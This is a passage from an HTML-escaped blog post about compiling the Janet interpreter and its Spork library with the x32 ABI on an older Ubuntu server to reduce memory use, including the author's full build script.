        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; resident set size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Major&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (requiring I/O&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;page&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; faults: 0&lt;/span&gt;
        &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Minor&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (reclaiming a frame&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;page&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; faults: 12735&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As Hailey said, Arch does not come with the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/X32_ABI&quot;&gt;x32 ABI&lt;/a&gt; compiled, so I had to use &lt;code&gt;-m32&lt;/code&gt; and while we do get a 20% memory savings, we execute 50% slower because half the registers aren’t used! &lt;code&gt;-m32&lt;/code&gt; is the old 32-bit x86 mode using only 8 registers. To see the speed-up, we need to use &lt;code&gt;-mx32&lt;/code&gt; which uses the 64-bit instruction set with shrunken 32-bit pointers. But I don’t want to recompile Linux…&lt;/p&gt;
&lt;p&gt;Unfortunately, Ubuntu also dropped x32 support.&lt;/p&gt;
&lt;h3&gt;Winning on Deprecated Ubuntu&lt;/h3&gt;
&lt;p&gt;Luckily, lazily, I have access to some deprecated servers (&lt;em&gt;of course&lt;/em&gt; not in prod…) and OS installs, wasting hard disk space:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ubuntu 20.04 LTS Focal Fossa has reached its end of standard support on 31 May 2025.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ubuntu, so we have bash again:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;grep&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; X86_X32 /boot/config-&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-command syntax-parens syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parens syntax-begin syntax-shell&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;uname&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;r&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parens syntax-end syntax-shell&quot;&gt;)&lt;/span&gt;&lt;/span&gt;  &lt;/span&gt;
&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;CONFIG_X86_X32&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;y&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Just what we need, although &lt;code&gt;gcc version 9.4.0&lt;/code&gt; is a bit old. We already have &lt;code&gt;build-essential git gcc-multilib libc6-dev-x32&lt;/code&gt;. We are ready to soar! Here is our full &lt;code&gt;32janet.sh&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;!/bin/bash&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-set syntax-shell&quot;&gt;set&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt;-&lt;/span&gt;eu&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;PWD&lt;/span&gt;&lt;/span&gt;/janetx32&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;JANET&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/bin/janet&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;mkdir&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;p&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/cc32&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; this forces Janet C libraries like Spork to build with 32bit also&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; FFI build test fails on -mx32 build so -DJANET_NO_FFI&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-printf syntax-shell&quot;&gt;printf&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-single syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;#!/bin/sh\nexec gcc -mx32 -DJANET_NO_FFI &amp;quot;$@&amp;quot;\n&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/cc32/cc&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;chmod&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; +x &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/cc32/cc&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-storage syntax-modifier syntax-shell&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;PATH&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/cc32:&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;PATH&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-storage syntax-modifier syntax-shell&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;JANET_TOOLCHAIN&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;cc&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-unset syntax-shell&quot;&gt;unset&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; JANET_PATH JANET_TREE&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;mkdir&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;p&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-cd syntax-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; clone https://github.com/janet-lang/janet&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-cd syntax-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; janet&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-storage syntax-modifier syntax-shell&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;CFLAGS&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-single syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;-fPIC -O3 -flto -fno-semantic-interposition -march=native&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; speed gains&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;make&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; clean&lt;/span&gt;
&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;make&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;make&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; test&lt;/span&gt;
&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;make&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; install&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-cd syntax-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; ..&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; clone&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; --&lt;/span&gt;depth&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-option syntax-shell&quot;&gt;=&lt;/span&gt;1 https://github.com/janet-lang/spork build/spork&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;JANET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;e&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-single syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;(if (bundle/installed? &amp;quot;spork&amp;quot;) (bundle/replace &amp;quot;spork&amp;quot; &amp;quot;build/spork&amp;quot;) (bundle/install &amp;quot;build/spork&amp;quot;))&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; ### Packages&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
